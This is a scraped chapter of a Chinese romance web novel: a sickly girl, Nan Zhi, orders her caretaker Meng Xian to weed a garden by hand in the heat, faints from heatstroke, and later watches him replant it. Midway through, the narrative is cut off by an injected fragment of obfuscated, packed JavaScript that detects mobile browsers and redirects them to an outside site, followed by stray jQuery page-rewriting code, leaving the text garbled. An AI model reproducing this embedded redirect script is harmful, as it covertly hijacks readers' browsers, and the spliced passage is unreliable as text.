下午两点,太阳高高地悬挂在天际,光线强烈,蝉鸣阵阵,热气从世界的四面八方汹涌而来。
任何人都无法逃脱。
夏思琳将客厅窗帘刚拉开,就迅速关上。
她像是一只潜伏多年的吸血鬼,一见到阳光,就如临大敌。
任何一点光线都会要了她的命。
周代星从冰箱里拿了一瓶可乐,走过来就看到这一幕,嫌弃道:“照个太阳又死不了人,这么矫情。”
夏思琳瞪他一眼,捡起沙发上的抱枕就朝他扔了过去。
“关你什么事!闭嘴吧你!”
周代星敏捷闪身,抱枕“咚”的一声,落在地上。
他怪声怪气道:“我闭嘴我闭嘴,好男不跟女斗。”
他边说边回房间,准备继续跟游戏大战三百回合,却在这时,听到了一阵轰鸣声。
嗡嗡嗡,隔着几堵墙,即使房子隔音做的再好,可这噪音仍旧清晰。
夏思琳皱眉:“这是什么声音,谁在开直升机吗?”
周代星喝了口可乐,沉吟思考了一会,终于想起这个声音前不久才听过。
但他没说出来,反倒嘲讽地看向夏思琳:“你还知道直升机啊。”
窗帘阻隔了太阳光照,但夏思琳的脸色还是弥漫上了汹涌的红潮,纯粹是被气的。
“周代星,你再说一遍!”
周代星早已三步一跨,抬脚迈上了楼梯,夏思琳毫不犹豫地追了上去。
“你给我站住,周代星,你完了,别让我抓到你!”
周代星不把她的威胁放在眼里,也没有想要跟她赛跑的意思。
一路跑上二楼,拉开露台的拉门,阳光毫不遮掩地大喇喇直刺过来,机器轰鸣的声音也变得更加具体且清晰。
视觉与听觉都没有阻隔,低头看去,旁边院子里的场景一览无余。
夏思琳追了上来,不顾被阳光炙烤的风险,狠狠给了周代星一拳,“你再说一句,我要打死你—”
话音却在下一秒看到院子里的人时忽然停下,整个人也像是被施予了定身术,瞠目望去。
院子里,男生宽肩窄腰,身形高大挺拔。但因为身上的黑色背心被汗水浸湿,烙印在后背,形成深深的印记。
他正操作着除草机,所到之处,那一株株长势喜人的鲜艳花朵全部凭空消失,被除草机的利刃切割地七零八落,粉碎散落在地。
夏思琳呆住,震惊之下,不禁自语,“那是阿献吗?”
周代星朝她翻了个白眼,“你记忆退化了,昨晚见过的人,现在又不认识了。”
夏思琳回过神,朝底下喊了声阿献,但不知是他手上的机器声太吵,还是因为工作太专注。
夏思琳的呼喊没有得到回应。
天气很热,夏思琳鼻尖很快渗出了点汗珠。
她鼓足了气,双手放在嘴边,做出一个喇叭状,准备再喊一声,视线却在掠过远处匆匆而来的某个身影时忽然停下。
两点钟,是南知的午休时间。
人还陷在睡梦中,就被突如其来轰隆作响的机器声惊醒。
拉开窗帘,看到某人大热天不顾死活地在花园里闹腾,南知被吵醒本就不豫的脸色变得更加难看。
孟献机械地推着除草机往前走,却一心二用,在喧嚣的噪音里想着另外一件事情。
忽然,机器暂停,失去动静。
轰隆作响声消失,世界安静下来,蝉鸣嘹亮。
孟献回过神,看着突然静止不动的机器,眉心拧起,以为机器哪里坏了,正要上前检查,却听到身后传来的冷语质问。
“你在干什么?”
孟献回头,南知穿着一件丝绸吊带上衣和短裤,显然刚从房间出来。脚上穿的还是室内拖鞋,露出来的手臂和小腿在阳光下白得发光。
她手上拿着刚拔下来的除草机电线插头,眉眼冰冷,周身散发的寒气和这燥热的天气形成鲜明对比。
孟献勾唇笑了下,脸色却跟她一样冰冷,“你没看到吗?”
他晃了晃手上的除草机,“不是你说要把花园里的植物都清理干净,再给你重新载种新的花。我现在听你的吩咐,又惹你不高兴了。”
他将她从头到脚打量完,尤其在那张脸上停留了许久,最后凉声说:“你要是天天半死不活地不高兴,那谁也没办法,自己学着克服一下吧。”
南知看着他,没有说话,眼底的冷意却越来越盛。
孟献走过去,从她手里夺过插头,用了点力,插头线在南知那截白皙细瘦的手腕上留下了红痕。
她从内到外,到处都透露着脆弱的气息。
一不小心,就会让外界的异物留下痕迹。
孟献的责任是守护好这份脆弱,但他却越来越讨厌这份责任。
“回屋去。”孟献看了眼头顶的太阳,这么毒的天气,在外面多待一分钟都会让人受不了。
“小心中暑。”
他不是在关心她,南知看到了他眼底的不耐烦。
他只是想用这种方式避免惹祸上身,所以警告她远离一切危险因素。
南知对他来说是一份不得已承担的责任,是在有了足够的好处后,才会不得不接下来的额外负担。
南知说:“你吵到我休息了。”
孟献弯腰插电的动作停下,啧了一声,直起身,脚尖踢了踢折断到一半的花枝。
“哦,忘了你要午休,要我跟你道歉吗?”他说着道歉,却无任何歉疚意思,反而嘲弄道,“不过我的歉意对你来说太廉价,那还是不道了。”
孟献下巴微抬,径自做了决定,“回房休息吧,我晚点再干活行了吧。”
他拿着机器准备走人,又听见南知说:“你现在就把花园全部清理干净。”
孟献皱眉,偏头看她。
她到底想干什么,一会说机器打扰她休息,一会又让他快点干活。
南知唇角微勾,露出一抹笑,“我要你,不准用机器,用两只手把剩下的花草清理干净。”
“……”
孟献身形顿住,眸底有些疑惑,怀疑自己听错,“你说什么?”
南知唇角的笑还存在,温柔恬静的少女,淡声说道:“我让你现在,用手把剩下的花草清理干净。”
“机器太吵,影响我休息,所以你用手来干活,记得一根杂草都不准留下。”
这次听得一清二楚,孟献的表情凝固住,眉头拧起,脸色变得很不好看。
她摆明了是在故意玩他。
“疯了吧!”声音里带着明显的怒意。
却不是孟献说的。
两人顺着声音的方向望去,夏思琳和周代星站在旁边的二楼露台。
两人流了一脸的汗,显然在原地站了许久,已将南知和孟献的对话完整听完。
夏思琳的眼睛被汗水浸透地快睁不开,她指着头顶的太阳,气愤道:“这么热的天,你让人干活,还不能用机器,必须得用手,你怎么这么坏呢!心肠可真狠毒!”
周代星用手抹了把脸上的汗,也劝说道:“小知,这天气太热了,你也不怕阿献中暑。”
夏思琳:“你有没有点良心,他又不是你家的奴隶!”
周代星:“就算是奴隶,也要给他点健康福利啊,咱们又不是旧社会。”
“……”
“……”
两人你一句我一句,话里话外都是在谴责南知的所作所为。
南知低头,快速眨了下眼睛,想要将光线刺进瞳孔里的那种不适感驱逐走。但毫无作用,她觉得脑袋开始发晕,双腿也有些发软。
天旋地转。
孟献站在旁边,听着周代星和夏思琳的话,像是听相声似的,越听越觉得有意思。
他也就懒得让这两人闭嘴。
就当是打发时间。
他漫不经心地听着,视线不经意间扫到一旁,然后就看见了一张苍白的脸。
白是天生的,不论晒多少太阳,她也没有黑过,顶多晒脱一层皮。
可,身体在晃什么……
孟献的神经瞬间绷紧,双腿下意识站直了,紧盯着前面的人,“喂……”
刚喊了一声,前面的人就倒了下来,眼看着就要摔到地上。
身体记忆比大脑反应还要快,孟献丢开手里的机器,俯身一捞,女孩柔软的身体就落在了他的怀里。
这一幕让夏思琳看呆了,舌头忽然就打了结,什么话也说不出来了。
怎么她只眨了下眼,两人就抱在一起了。
南知皱着眉,脸色白得不正常,呼吸急促,表情痛苦。
她不是易出汗体质,可现在浑身冰凉算怎么回事。
孟献自来到南家,唯一的任务就是为了这一刻负责,但不论再来多少次,他都像是第一次面对。
专属于他的责任,随着年岁渐长,他不再像孩童时期那样慌乱,但失控却在所难免。
“哪里不舒服?”孟献摸了摸她的额头,体温比正常人要低,没有发热迹象。
南知迷蒙着睁开眼,嘴唇蠕动,吐出几个字。
但声音太小,孟献听不清楚,只能俯身凑近她耳边,“哪里不舒服?”
“头晕……”南知迷糊说道。
孟献这次听清楚了,头晕。
观察了下她此刻的状态,孟献判定她中暑了。
然后,一阵无奈的情绪袭上心头。
她在外面站了还没有十分钟。
南知又一次刷新了孟献对于脆弱的认知。
孟献叹了口气,将她打横抱起。
抱起来,才觉察出怀里的人很轻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235261|181850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>所有人精心养育十数年的身体,但根本没有长出足够抵抗疾病的重量。
只有灵魂,没有血肉。
白姨看到南知躺在孟献怀里被抱进来,如临大敌,连忙奔上前来问道:“怎么了这是,晕倒了,还是哪里受伤了……”
孟献简单应道:“中暑了。”
“中暑?”白姨愕然,“怎么会中暑,她在外面待了多久,你怎么没给她撑伞遮阳,室外空调也没给她打开。阿献,你太失职了,小知怎么会好端端地中暑,你不是应该好好照顾她……”
孟献默不作声地听着白姨的数落,眼尾垂下,看向怀里安静柔弱的女孩。
家庭医生来得很快,做过检查后,确认没什么大事。
“多喝些温开水,补充下水分。这几个月别在外面久待了,这么热的天气,体质正常的人都会受不了,更何况是小知。”
白姨得到保证,还是有些不放心,“不用吃什么药吗,藿香正气水可以喝一瓶吧?”
“不用,小知症状不严重,你用热毛巾帮她擦下身体,让体温降下来,再多喝点淡盐水,保持身体水分平衡。”
白姨看了眼仍旧昏迷的人,提出疑问:“中暑不严重,那怎么还不醒。”
家庭医生说道:“身体比正常人虚弱,也要多花点时间修养,她现在太累了。”
医生离开后,白姨去厨房烧水。
孟献看着躺在床上的人,她安安静静地闭着眼,脸上再没有难受的神色,面容平静,像是熟睡了过去。
她的脸很小,只有巴掌大,一只手就能覆盖完全。
细眉、长睫、翘鼻、粉唇,每一处五官都很精致,像是上帝精心打造的杰作。
虽然没人说过,但所有见过南知的人都会达成一个共识。
那就是她很漂亮,是那种一眼看上去就毋庸置疑的漂亮。
乖巧又安静。
可她的性格跟乖巧沾不上边。
阴郁、清冷、沉闷、怪异、冷漠……
当跟南知熟悉过后,这又是所有人会达成的第二个共识。
这个年纪的同龄人,不会对这种类型的女孩有好感。
他们喜欢的是那种像炽烈的阳光一般,可以融化世间一切阴暗的女生,没人喜欢阴暗本身。
孟献垂眼,注视着躺在床上的人,目光幽沉。
南知睁开眼的时候,感觉到一股温热气息拂过小腿肚,她不自禁地抖了抖。
白姨惊喜道:“小知,你醒了!”
南知抬头,看见白姨的脸。
她嗯了一声,想起自己前不久还在花园,此刻却躺在床上。
最后的记忆,是孟献接住了她,还问她哪里不舒服。
“我晕倒了吗?”南知抬手摸了摸额头,淡淡问道,声音细弱。
白姨说:“你中暑了。”
说着,她从桌上端来一杯淡盐水,扶她坐起来,“先喝点水,补充水分。”
南知喝了一口,等咽下去,忍不住皱眉,吐了吐舌头,“咸的。”
白姨说:“淡盐水都是咸的,你多喝点,对你身体好。”
对你身体好。
南知按在床单上的手指下意识攥紧。
这种话,第一次听的时候会觉得对方是在关心自己,但第二次,第三次、第四次……第五十次,第一百次,她会不可自控地怨怼这具脆弱的身体。
行走在健康与病中边缘,她所做的一切都只是要让自己少见一次医生,少进一次医院。
没有人会喜欢这样的生活,平静的死板,毫无活人气息。
南知眨了眨眼,将那杯淡盐水默不作声地全部喝完。
“现在几点了?”南知问道。
白姨说:“下午五点了,你睡了快三个小时。”
南知神色恹恹,说了声知道了。
白姨再问了几句,确认她没有不舒服后,才离开房间。
南知在床上坐了一会,未拉紧的窗帘缝隙有光线透进来,温柔的橘色光芒。
南知看着看着,便掀开被子下床,走过去,将那条窗帘全部拉开。
橘红的霞光迎面扑来,将南知完全包裹住,身上暖融融的,再没有几个小时前的灼烫毒辣。
她站在阳台上,看见后花园里再没有一棵花草。
平整干净的土地,有一个身影用铲子挖出一个个小坑,然后将旁边的花种撒了进去。
孟献给所有的花种埋上土后,又提了一桶水过来。
一路过去,边走边撒,一个坑一瓢水,不会厚此薄彼。
等到天际光亮有消失迹象,微凉的晚风吹拂在脸庞,孟献看着周围湿润的土地,这才满意收手。
带上所有的工具离开,他没走几步,忽然意识到什么。
抬头望去,和二楼的少女四目相对。